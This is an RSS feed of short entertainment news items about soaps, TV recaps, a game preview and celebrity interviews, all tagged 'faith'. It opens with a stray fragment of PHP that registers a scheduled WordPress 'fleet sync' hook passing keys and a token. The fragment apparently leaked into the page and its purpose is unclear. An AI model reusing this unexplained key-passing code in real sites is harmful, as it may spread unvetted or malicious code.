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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); faith – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 29 Mar 2021 20:20:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png faith – Brief News https://briefnews.eu 32 32 TVLine Items: Y&R Recasts Faith, Elmo’s Talk Show Renewed and More https://briefnews.eu/tvline-items-yr-recasts-faith-elmos-talk-show-renewed-and-more/ https://briefnews.eu/tvline-items-yr-recasts-faith-elmos-talk-show-renewed-and-more/#respond Mon, 29 Mar 2021 20:20:32 +0000 https://briefnews.eu/tvline-items-yr-recasts-faith-elmos-talk-show-renewed-and-more/

The Young and the Restless is keeping the Faith — she’s just going to look a bit different.

Reylynn Caster, whose previous TV credits include American Housewife and the WWE’s The Big Show Show, will make her Y&R debut as Nick and Sharon’s daughter starting Monday, April 12, our sister site Deadline reports. She thus succeeds Alyvia Alyn Lind (sister of Natalie Alyn Lind and Emily Alyn Lind), who has played the role since 2013 but now is moving on to a series-regular role on Syfy’s Chucky series.

Ready for more of today’s newsy nuggets? Well…

* HBO Max has renewed the preschool variety series The Not-Too-Late Show With Elmo for Season 2, to premiere this fall.

* Special Season 2 — premiering Thursday, May 20 on Netflix — will welcome guest stars including Max Jenkins (Dead to Me) as Ryan’s love interest, a former back-up dancer/current dance instructor; Charlie Barnett (Russian Doll) as a man who starts a relationship with Kim; Leslie Jordan (Will & Grace) as the ringleader of a group of friends who embrace Karen while she’s on a trip; and Ana Ortiz (Ugly Betty) as Phil’s new girlfriend.

* TNT will re-air the first episode of The CW’s Kung Fu on Sunday, April 11 at 10/9c, while The CW will in turn encore TBS’ Wipeout revival premiere on Friday, April 2 at 8/7c.

* NBC’s Small Fortune, a team competition game show based on a UK format and hosted by Lil Rel Howery, will premiere Monday, May 31 at 10 pm.

* Apple TV+ will debut the David Attenborough-narrated documentary The Year Earth Changed — which chronicles how the COVID lockdown impacted the environment — on Friday, April 16. The second seasons of docuseries Tiny World and Earth At Night in Color will also premiere that day; watch a trailer for The Year Earth Changed below:

Which of today’s TVLine Items pique your interest?

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]]> https://briefnews.eu/tvline-items-yr-recasts-faith-elmos-talk-show-renewed-and-more/feed/ 0 Emmerdale spoilers: Faith Dingle returns to Village as beloved family member ‘killed off’ https://briefnews.eu/emmerdale-spoilers-faith-dingle-returns-to-village-as-beloved-family-member-killed-off/ https://briefnews.eu/emmerdale-spoilers-faith-dingle-returns-to-village-as-beloved-family-member-killed-off/#respond Wed, 13 Jan 2021 00:35:28 +0000 https://briefnews.eu/emmerdale-spoilers-faith-dingle-returns-to-village-as-beloved-family-member-killed-off/

Faith (played by Sally Dexter) was last seen on Emmerdale when she confessed to son Cain Dingle (Jeff Hordley) she knew he had a secret child in Nate Robinson (Jurell Carter). The betrayal was too much for the village bad boy to bear and he offered his mother an ultimatum; either she leaves or he would. Having kept her distance, the matriarch is making her triumphant return to the ITV soap to see if she can bury the hatchet of the wrongdoings from her past. However, it seems she might have another reason for wanting to reunite with her family as her comeback is centred around death.

The drama kicks off in February when Cain’s wife Moira Barton (Natalie J Robb) inadvertently crosses paths with her mother-in-law.

Faith looks somewhat different as she is dressed like an undertaker and is in the process of stealing a hearse when she bumps into her daughter-in-law.

It has not yet been explained why the mother-of-two seems to have found a new profession, but could it be an estranged family member has died and she wants to give them a fitting send-off?

Never one to stick to the straight and narrow path, the feisty character could be trying to lay her loved one to rest with as little cost as possible.

However, how would her loved ones react back in the Village if they realise they wouldn’t have been given the chance to say their goodbyes?

READ MORE: Emmerdale’s Debbie Dingle leaves fans fuming as she makes return

After their chance meeting, Faith will turn up in the Dales and ask Moira if she thinks her son will ever forgive his mother.

Having just got her marriage with Cain back on track, it is unlikely the farm owner will want to upset the apple cart.

Will she convince her mother-in-law to stay away and focus on getting over her grief of losing a family member?

Or will the feisty character decide she wants the chance to rebuild her relationship with her son, regardless of the repercussions?

“A character bursting with fun, Faith’s certainly set to ruffle a few feathers and will test the Dingle’s loyalties like never before,” she continued.

“We’re absolutely thrilled to welcome Sally back to Emmerdale, an actor exuding vibrant charm,” Sophie concluded.

Viewers have been calling for the character to return ever since she left the Village in the Autumn of 2019.

Taking to Twitter, one fan of the feisty grandmother wrote: “#Emmerdale is really missing Faith Dingle, missing all the humour.”

Another posted late last year: “I would personally love a Faith return at Christmas. I know she could be a pain, but I think #Emmerdale needs some more big characters again!”

Executive producer Jane Hudson had only teased Faith’s return a week ago when she told the press what was coming up in the next few months.

The soap boss told Express.co.uk and other publications: “We have a very much loved character coming back to the village!

“They light up the screen. There’s going to be lots of fun. The actor/actress has returned to shooting. Look out for their return coming up soon.”

Viewers will have to wait and see what drama follows Faith in the coming weeks and months.

Emmerdale continues tonight at 7pm on ITV.

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]]> https://briefnews.eu/emmerdale-spoilers-faith-dingle-returns-to-village-as-beloved-family-member-killed-off/feed/ 0 Fear TWD Recap: Twist of Faith https://briefnews.eu/fear-twd-recap-twist-of-faith/ https://briefnews.eu/fear-twd-recap-twist-of-faith/#respond Mon, 02 Sep 2019 10:01:31 +0000 http://briefnews.eu/fear-twd-recap-twist-of-faith/ In Sunday’s Fear the Walking Dead, Charlie went home… or at least to a synagogue that she thought might make a nice home. But the temple turned out not to be quite the right place for John to hang the yarmulke that he was given by Rabbi Jacob Kessler, much less his regular cowboy hat. How come? Read on (or you can just wait for the documentary that Al is sure to make about it)…

fear-the-walking-dead-recap-season-5-episode-12-ner-tamid‘WE’RE LOCKED UP TIGHTER THAN A FIREMAN’S SPHINCTER ON THE FOURTH OF JULY’ | As “Ner Tamid” began, the rabbi discovered Charlie hiding in a car outside Temple B’nai Israel and suggested that the light that gave the episode its title — a light that represented God — had led her there. “Maybe there’s something you need here,” he said, indulging in the kind of on-the-nose dialogue that we’ve reluctantly come to associate with the show. “Maybe you’re here because you’re finally going to find it.” And what are the odds? There was something that she needed there and quickly came to believe that she had found: a home. So when the car battery that charged the light started to run out of juice, she radioed John and June to bring spares and check out their new address. She wasn’t fazed by Jacob’s theory that a gap in his fence was letting walkers stroll up to the door; she and her peeps could fix it, no sweat (all while videotaping the effort, I’m sure).

When John and June arrived in the SWAT van, the cowboy tried on a yarmulke but still looked “goyish,” Jacob admitted. “Kind of like the Pope.” So John just slapped his Stetson on top of it. Meanwhile, June found myriad reasons to shoot down the temple as a possible HQ, prompting Charlie to admit that she’d run away because she didn’t want to live anymore like she had with Mel and the Vultures. That was a different situation, June insisted. It had gone bad; their new arrangement wouldn’t. Uh-huh, Charlie replied. “I thought the same thing then.” Back at the convoy, Sarah was busy discreetly flirting with Dwight — Mo Collins doing a sweet job of holding her gaze a telling millisecond too long — when they spotted Logan’s gang approaching. Bring the SWAT van ASAP, Sarah radioed John and June, interrupting their argument with Charlie over whether the convoy could convert, so to speak.

‘SAY A PRAYER FOR US’ | Of course, just as John and June went to take off, Jacob’s fence collapsed, letting in a horde of walkers. And not just any walkers, either — his congregation. When they’d run low on rations an eon ago, he’d gone on a supply run, only to find them all turned by the time he got back. Regardless of who they were, John and June still had to go save Sarah and Dwight, who’d broken away from the convoy with the tanker. But the lovebirds only made it as far as the fence before winding up trapped atop a car surrounded by walkers. Since the rabbi wouldn’t shoot his congregation, June suggested that Charlie remedy the situation the way Al would: by doing an interview about it. Juuust kidding. June suggested Charlie handle it the way Mel would’ve — which was as fine an idea as it was triggering for the teen. To get her on board, Jacob admitted that he hadn’t left his congregation to get supplies, he’d left because he’d lost faith. “I’m alive,” he said, “because I didn’t believe in God.” Though Charlie was gutted by the revelation, she set in motion a very Vultures-like plan: She had Jacob blow the shofar to lead the walkers away from John and June and into the temple, where they soon put out the light. (Subtle, Fear TWD. Very subtle.)

Running from what Sarah called Logan’s “d—k squad,” she and Dwight received a call from Rollie, the guy to whom the former Savior had given a second chance back in “210 Words Per Minute”; obviously, he hadn’t seized the opportunity to be less of an asshat. Soon, Sarah and Dwight ran out of gas. “This ain’t bottomless mimosas,” she told “Babyface.” Even though they were in a tanker, it wasn’t attached to their tank. D’oh! “It’s been fun riding with you,” Dwight told her as Logan’s people surrounded them… and then drove off. What the… ? Yeah, of course, John and June arrived in the SWAT van just in time to scare them off. Later, June blamed herself for Charlie’s flight; maybe she was wrong to hold out for an ideal home that might not exist. But… but that’s faith, marveled Jacob, who hit it off right away with Sarah, whose last name turned out to be Rabinowitz. “We’ll keep driving, we’ll keep helping, we’ll find the place we’re meant to be,” concluded June as if there might have been even an instant when we could’ve forgotten what the show was about. As the hour drew to a close, the “big” twist turned out to be that Logan had discovered the location of Clayton’s oil fields through Al’s tapes, and that was why his peeps hadn’t fought for the tanker. (Because let’s be real — John and June were never going to gun down a bunch of bad guys just to keep their refill truck and its contents.) “Hang onto your hat, Doris,” said Logan as he and his henchwoman drove into the “Lonesome Quarry.” “We’re about to buy ourselves a ticket to the promised land.”

So, your thoughts about “Ner Tamid”? Jacob? I’d have liked to have felt a greater (OK, any) sense of danger, but at least I like Sarah and “Babyface.” Mo Collins is great at hinting at depth beneath the Sarah-isms, don’t you think?

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]]> https://briefnews.eu/fear-twd-recap-twist-of-faith/feed/ 0 The Flash Recap: Leap of Faith — Plus, Which Hero Channeled Spider-Man? https://briefnews.eu/the-flash-recap-leap-of-faith-plus-which-hero-channeled-spider-man/ https://briefnews.eu/the-flash-recap-leap-of-faith-plus-which-hero-channeled-spider-man/#respond Wed, 14 Nov 2018 10:19:49 +0000 http://briefnews.eu/the-flash-recap-leap-of-faith-plus-which-hero-channeled-spider-man/

This week on The Flash, Nora started to see her mother in a new light — thanks to a sneaky Cecile and a fearless Iris.

After the events of last episode (in which Nora revealed that Future Iris dampens her daughter’s speedster powers), Nora goes off the grid for a stretch, crashing at Joe and Cecile’s. And even when she pitches in to play hero, her lack of training nearly smokes an elderly couple on the street. Iris calls out “Miss Thing” for skipping training sessions, and Nora rails that she cannot listen to her mother’s voice anymore — and that she had gotten quite sick of it in the future as well, always telling her “No.”

Nora tries to sulk and badmouth Mom at the West house, but Cecile isn’t having any of it. She then tasks Nora with helping out with IKEA-style crib assembly (a little late for that?), in trade for anecdotes about her dad that aren’t in any museum. Later, we see Nora completely endeared by all the stories Cecile has shared (via Joe, who may be off-screen for a stretch) — only to realize that they have all actually been about Iris!

Nora’s epiphany that she has given Mom a bum rap is cemented during the final face-off with the Meta of the Week, Rag Doll (played by the truly bendy Troy James). When Rag Doll pushes Barry off the roof of a building, Iris leaps after her husband! Mid-freefall, she catches up to Barry (is that how physics works? I forget) and gingerly unlocks the meta-cuffs, allowing him to power up and save both their lives. Nora finds it all very schway, and later at STAR Labs she is seen flipping through the Iris-centric scrapbook that Cecile gave her.

“Look, Nora, I am not that person in the future,” Iris says, sitting down next to her daughter. “I am not going to say no. i want you to live your life. And I want you to be a part of mine. No secrets and lies, just us, being who we are today.” And like that, mother and daughter embark on a “really great path.”

Elsewhere in the episode:

* While following a lead on Thomas Merkel aka Rag Doll, Barry turned the investigative outing into a “date night” by inviting Iris to dance with him at a ritzy gala — thus giving them the “first dance” they never got. (How did Oliver and Felicity not cut in?!)

* With Barry kidnapped/powerless, Cisco nursing bad vibes more than ever, Nora unreachable and Killer Frost still on ice, Ralph valiantly stepped up to join Iris in saving Barry from Rag Doll — by swinging him and Iris to the aforementioned rooftop, Spider-Man-style. (It was something he saw in a comic book. #RIPStanLee)

* After commiserating with Caitlin over their similar sense of feeling useless to the team, now that his vibe powers ae on the fritz (thanks to lingering dark matter from Cicada’s dagger), Cisco found his purpose anew by hacking into DeVoe’s other, launched satellites. Naming them HAL, Robby, Data and Colossus, he hopes can help them find Caitlin’s father, who’s hidden in a Tannhauser black ops site.

What did you think of the episode “Doll’d Up”?

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]]> https://briefnews.eu/the-flash-recap-leap-of-faith-plus-which-hero-channeled-spider-man/feed/ 0 Keeping Faith spoilers: BBC viewers left distracted after noticing THIS – did you spot it? https://briefnews.eu/keeping-faith-spoilers-bbc-viewers-left-distracted-after-noticing-this-did-you-spot-it/ https://briefnews.eu/keeping-faith-spoilers-bbc-viewers-left-distracted-after-noticing-this-did-you-spot-it/#respond Thu, 26 Jul 2018 23:06:52 +0000 http://briefnews.eu/keeping-faith-spoilers-bbc-viewers-left-distracted-after-noticing-this-did-you-spot-it/

The third episode of Keeping Faith saw Faith (played by Eve Myles) fighting against the local police force as well as trying to juggle her home and work life.

Despite her husband’s strange disappearance, Faith was brought into the police station for questioning.

The team claimed that Faith’s husband, Evan (Bradley Freegard) upped his life insurance shortly before leaving.

But despite this, Faith was also fighting against something else in the show, as fans began pointing out something extremely distracting throughout the episode.

One viewer on Twitter pointed out: “@BBC I’m loving #KeepingFaith but with the volume on full I’m still struggling to hear the dialogue.”

And the tweets continued to roll in, as one wrote: “Can’t hear a flipping thing Faith is saying. TV turned up loud. #Keepingfaith.”

“Sort it out @BBCOne I’m having to watch #KeepingFaith with the subtitles on as the sound is so poor!” added a third.

A fourth chimed in: “Why do BBC dramas always end up with the characters mumbling can’t understand anything they’re saying #Keepingfaith.”

Another said: “#Keepingfaith whats up with the sound on this?”

Throughout the sombre tones and melancholic soundtrack surrounded Faith’s brutal storyline, viewers continued to complain that the sound levels were off.

Express.co.uk has contacted the BBC for comment.

This followed Faith actor Eve explaining what brought her back to acting after she quit.

Speaking to WhatsOnTv, she explained: “When you’ve been doing something for 20 years you can get a little bit stuck and I was certainly feeling in a rut.

“I remember saying to my friend, who was also the midwife for both my daughters, ‘I’m thinking of studying to be a midwife.’

“She turned to me and went: ‘Eve, nobody wants to be in the midst of labour and look down and see Gwen Cooper in between their legs!’

“That kind of knocked the idea on the head for me. Then Keeping Faith came along, which was just the change I needed.”

She also spoke about the challenge of playing Faith, and the fights she went through to portray her.

Eve continued: ““It’s about a woman who has all the odds stacked against her and is trying to survive with three young babes.

“She has a regular family life until her husband wakes up in the morning, has his normal coffee, kisses his children goodbye and never comes home.”

“The situation almost breaks her mentally and physically, and her life is changed forever. It’s a story of secrets and betrayal but also of her fight for the truth.”

Keeping Faith continues Thursday at 9pm on BBC One.

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]]> https://briefnews.eu/keeping-faith-spoilers-bbc-viewers-left-distracted-after-noticing-this-did-you-spot-it/feed/ 0 Motson: World Cup ’90 restored my faith https://briefnews.eu/motson-world-cup-90-restored-my-faith/ https://briefnews.eu/motson-world-cup-90-restored-my-faith/#respond Sun, 17 Jun 2018 04:40:37 +0000 http://briefnews.eu/motson-world-cup-90-restored-my-faith/

He told Desert Island Discs: “To be honest with you, my love for football had slightly deserted me prior to [Hillsborough] because it was a bad decade, the 80s, and hooliganism was a major part of that.

“We had a lot of personal injury with fans attacking each other at grounds. And we had Heysel, for different reasons obviously, and we had the fire at Bradford.

“The game went to an all-time low, I thought. And then the tragedy of Hillsborough. I did wonder whether football would get back on its feet after that. But I’ll tell you what turned it.

“We had the 1990 World Cup within a year, England in the semi-final, Gazza’s tears.”

Motson joined the BBC in 1968 as a radio sports presenter and went on to commentate on more than 2,000 games, including World Cup and FA Cup finals. But his role changed to disaster reporter during the Hillsborough as he provided live coverage for the thousands of listeners who thought they were just tuning into the FA Cup semi-final game between Liverpool and Nottingham Forest.

Motson was the first person to say there was no misbehaviour on the part of the fans.

He said: “From where I was sitting it looked as a case of overcrowding. So I wanted to get any suggestion of crowd misbehaviour out the way and I’m glad I did, but I’m also glad I was right.”

He was educated at Culford School, near Bury St Edmunds, and showed an aptitude for journalism from an early age, founding the school newspaper. He also showed his love for football, something frowned upon at the rugby-loving school.

He said: “It was a rugby school. Rugby in the autumn term, hockey in the spring term, cricket in the summer term but no football.

“Not only no football, but if you got a few people together with a ball and tried to play an impromptu game it was frowned upon. [My father] wrote to the school…and the headmaster has since made that letter very public, it has caused a few chuckles.”

His discs included Three Lions by David Baddiel and Frank Skinner, Annie’s Song by John Denver and Abide With Me by the Westminster Abbey Choir.

He also asked to take his running shoes as his luxury item and Catcher In The Rye by JD Salinger as his book.

Desert Island Discs is on BBC Radio 4 today at 11.15am

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]]> https://briefnews.eu/motson-world-cup-90-restored-my-faith/feed/ 0 ‘Control’ is a leap of faith for the team behind ‘Alan Wake’ https://briefnews.eu/control-is-a-leap-of-faith-for-the-team-behind-alan-wake/ https://briefnews.eu/control-is-a-leap-of-faith-for-the-team-behind-alan-wake/#respond Thu, 14 Jun 2018 17:06:56 +0000 http://briefnews.eu/control-is-a-leap-of-faith-for-the-team-behind-alan-wake/

Control isn’t what you expect. Rather than the stylized, linear shooters developer Remedy Entertainment is known for, it’s a free-form experience that has more in common with Castlevania: Symphony of the Night than it does with Alan Wake. Except, instead of exploring a moody castle, you’re scouring the shape-shifting headquarters of a secretive government agency, the Federal Bureau of Control (FBC), which has been infested by an otherworldly presence known as The Hiss.

There’s still shooting, of course, and it all looks incredibly cinematic, with pillars breaking apart and protagonist Jesse Faden using both telekinetic powers and a shape-shifting firearm to dispatch the presence haunting her former coworkers. The entire game takes place within the FBC’s headquarters, The Oldest House. From the outside, it looks like a nondescript building in Manhattan. But once you cross the threshold, things start getting surreal.

“The Oldest House is a place of power,” narrative director Anna Megill told me. “It’s an ever-expanding, shifting, kaleidoscoping, if you will, world within a location. The belief is that if you keep walking you can end up in some very, very strange places that might not seem like they belong in a building in Manhattan.”

Megill said that the team at Remedy was inspired by new weird-fiction, like Jeff VanderMeer’s Southern Reach trilogy. You can spot that influence in the rainbow-like shimmer that inhabits FBC agents possessed by The Hiss and twists them into grotesque enemies — Annihilation took place inside an ever-expanding shimmery dome that mutated its inhabitants into, well, grotesque creatures.

While Megill didn’t say it explicitly, The Oldest House seems to have a lot of influences from author Mark Z. Danielewski’s House of Leaves, as well, which deals with a mysterious house that’s far bigger on the inside than its appearance suggests. The setting is why the gameplay and narrative direction are so atypical for Remedy as well.

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Rather than a game where every player will take the same path from start to finish, players can tackle rooms inside FBC headquarters how and when they see fit. And in classic Metroidvania style, there will be plenty of hidden-in-plain sight secrets and doors that will be inaccessible until you unlock certain abilities.

‘We’re trying to make something unexpected.’

“We’re trying to make something unexpected,” Megill said. She worked on Dishonored previously, as well as MMOs including Guild Wars 2. Megill said Remedy brought her on to help the team break out of its linear storytelling mode. “They’re all for it,” she said. Remedy collectively wants Control to be more gameplay-driven, for players to define what they’re going to do next and when they’re going to do it. “We don’t have to reinvent the wheel on how to tell a narrative that’s not linear, those examples are out there.”

Megill mentioned that Remedy is taking a less-is-more approach to non-interactive narrative sequences this time out. Rather than bookending each gameplay chapter with a lengthy cutscene, Remedy will use them sparingly so they don’t make up a bulk of the experience. Or overlay them on top of gameplay. It sounds like a far cry from Quantum Break, which appended an episode of a live-action TV show to each level.

She said that this time around, Remedy decided to have a less cinematic game and for players to have a more gameplay-driven experience, where they drive the narrative themselves through exploration, or combat.

“We’re not going to hold the player’s hands through this,” Megill warned. She said that in addition to the combat being challenging, the narrative is too, teasing that people should go into this expecting to use their brain not only for how they’ll progress through the game, but how they interpret story beats as well. “That’s what we want,” she said.

Based on my brief demo, Control looks like the next step toward Remedy realizing its vision of highly stylized and cinematic video games, bringing back some familiar elements from the studio’s previous work, refining them, and cranking the surrealism up to levels Quantum Break merely hinted at. Control will be released next year for PC, PlayStation 4 and Xbox One.

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]]> https://briefnews.eu/control-is-a-leap-of-faith-for-the-team-behind-alan-wake/feed/ 0 ‘First Reformed’ Trailer: Ethan Hawke Has a Troubling Crisis of Faith https://briefnews.eu/first-reformed-trailer-ethan-hawke-has-a-troubling-crisis-of-faith/ https://briefnews.eu/first-reformed-trailer-ethan-hawke-has-a-troubling-crisis-of-faith/#respond Thu, 29 Mar 2018 15:39:06 +0000 http://briefnews.eu/first-reformed-trailer-ethan-hawke-has-a-troubling-crisis-of-faith/ First Reformed Trailer

A24 has become one of those names that always has your attention. We sometimes don’t hear about their movies much until the trailers start rolling in, and then we’re totally on board. And that’s exactly how we feel about their forthcoming release from Paul Schrader, best known for writing Taxi Driver and directing a slew of dark and often deranged thrillers.

First Reformed follows Ethan Hawke as a priest who is becoming more and more disillusioned with humanity as his congregation dwindles and the world around him becomes more and more troubling. The clergyman suddenly finds himself taking matters into his own hands as he grows impatient waiting for God to do something.

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When A24 teased the arrival of today’s trailer online yesterday, they touted it as a movie that “might be the unholy lovechild of A Ghost Story and Taxi Driver.” We definitely get the Taxi Driver vibes from this trailer, but the elements that bring A Ghost Story to mind aren’t quite so evident unless they’re merely talking about the existential perspective that Ethan Hawke’s character appears to be taking on as he becomes more concerned about civilization.

This certainly looks like it’s going to be a haunting performance from Ethan Hawke, who has become one of the finest actors of his generation without much pomp and circumstance. Plus, even Cedric the Entertainer is getting deadly serious in his turn as a fellow preacher. If you don’t believe me, he goes by the name Cedric Kyles to make sure you understand as much.

First Reformed will undoubtedly be a quiet, slow burn of a thriller, but I wouldn’t expect anything less from Paul Schrader. It appears the visuals alone will be enough to keep the movie engaging, especially with shots like that Pepto Bismol swirling into a glass of whiskey. For those who aren’t super pumped about the blockbuster fare coming in May, this should serve as perfect counter-programming.

Reverend Ernst Toller (Ethan Hawke) is a solitary, middle-aged parish pastor at a small Dutch Reform church in upstate New York on the cusp of celebrating its 250th anniversary. Once a stop on the Underground Railroad, the church is now a tourist attraction catering to a dwindling congregation, eclipsed by its nearby parent church, Abundant Life, with its state-of-the-art facilities and 5,000-strong flock. When a pregnant parishioner (Amanda Seyfried) asks Reverend Toller to counsel her husband, a radical environmentalist, the clergyman finds himself plunged into his own tormented past, and equally despairing future, until he finds redemption in an act of grandiose violence. From writer-director Paul Schrader (Taxi Driver; American Gigolo; Affliction) comes a gripping thriller about a crisis of faith that is at once personal, political, and planetary.

First Reformed hits theaters on May 18, 2018.

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]]> https://briefnews.eu/first-reformed-trailer-ethan-hawke-has-a-troubling-crisis-of-faith/feed/ 0 The Voice UK 2018: Paloma Faith reveals ONE thing which sets show apart from X Factor https://briefnews.eu/the-voice-uk-2018-paloma-faith-reveals-one-thing-which-sets-show-apart-from-x-factor/ https://briefnews.eu/the-voice-uk-2018-paloma-faith-reveals-one-thing-which-sets-show-apart-from-x-factor/#respond Mon, 19 Mar 2018 07:50:06 +0000 http://briefnews.eu/the-voice-uk-2018-paloma-faith-reveals-one-thing-which-sets-show-apart-from-x-factor/

Paloma Faith appeared as a coach on The Voice UK back in 2016, but quit the then-BBC show after just one series.

The 36-year-old has now opened up about what she thinks makes the ITV show different from its rival, The X Factor.

Speaking about the difference in long-term success of the show’s contestants, she told Express.co.uk: “I think it’s Simon Cowell.

“He’s a b****y determined man. He is a high-achiever by nature and he believes that he wouldn’t ever do anything that wasn’t a success.”

The Lullaby hitmaker continued: “He’ll do everything he has to to make it a success, and there’s no one person doing that on The Voice – there’s no one person saying, ‘I am determined to make sure this, you know’.”

Expanding on the claim, she went on: “Everybody else on The Voice has their own personal career whereas Simon’s career is to make other people’s careers. That’s his career.”

Express.co.uk has contacted a representative for The Voice UK asking for comment.

Paloma went on to admit that she understood The Voice UK to be a “brief training in the industry”.

The singer songwriter, who is championing ŠKODA’s Driver’s Seat Initiative in partnership with the Prince’s Trust, also explained why she got involved in the campaign.

She stated: “I want to cultivate talent that spreads across communities, and what we’re doing with this is trying to make sure that there’s an element to who we’re working with that will then infiltrate across their own community.”

Applications for the Driver’s Seat Initiative are now open, and entrants can find out more here.

The Voice UK continues on Saturday at 8.30pm on ITV.

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]]> https://briefnews.eu/the-voice-uk-2018-paloma-faith-reveals-one-thing-which-sets-show-apart-from-x-factor/feed/ 0 The Voice UK 2018: Paloma Faith remarks spark BACKLASH from winner ‘Check your facts!' https://briefnews.eu/the-voice-uk-2018-paloma-faith-remarks-spark-backlash-from-winner-check-your-facts/ https://briefnews.eu/the-voice-uk-2018-paloma-faith-remarks-spark-backlash-from-winner-check-your-facts/#respond Sun, 18 Mar 2018 21:53:19 +0000 http://briefnews.eu/the-voice-uk-2018-paloma-faith-remarks-spark-backlash-from-winner-check-your-facts/

Paloma’s remarks about came in a bombshell interview and former winner Mo Jamil is not happy with her criticism.

Speaking about the difference in long-term success of the show’s contestants, .

“He’s a b****y determined man. He is a high-achiever by nature and he believes that he wouldn’t ever do anything that wasn’t a success.”

The Lullaby hitmaker continued: “He’ll do everything he has to to make it a success, and there’s no one person doing that on The Voice – there’s no one person saying, ‘I am determined to make sure this, you know’.”

Expanding on the claim, she went on: “Everybody else on The Voice has their own personal career whereas Simon’s career is to make other people’s careers. That’s his career.”

Paloma went on to admit that she understood The Voice UK to be a “brief training in the industry”.

Winner Mo quipped that Paloma needs to “check her facts” after she claimed that The Voice UK doesn’t support its artists enough.

Mo said: “I don’t know what happened in past years, but I can say that since I’ve won, everything’s been great for me.”

“I think maybe she should check her facts, as I’ve had support from day one.

“I’ve had a lot of support and a lot of people around me to try and prepare me for this moment.”

The 22-year-old singer continued to Radio Times that he is “always in contact” with his label.

He added: “I’ve had a manager since I came off The Voice and they’ve been very supportive.

“I’m always in contact with my label and I’ve had lots of meetings to help prepare me for this.

“I’m not sure where she got her facts from, but I’m really happy.”

Mo was the sixth winner of The Voice UK after its series finale in April last year.

The singer was mentored by 36-year-old star Jennifer Hudson and is preparing to release his debut album Evolve on March 30.

Express.co.uk has contacted a representative for The Voice UK asking for comment.

UK continues next Saturday on at 8.30pm.

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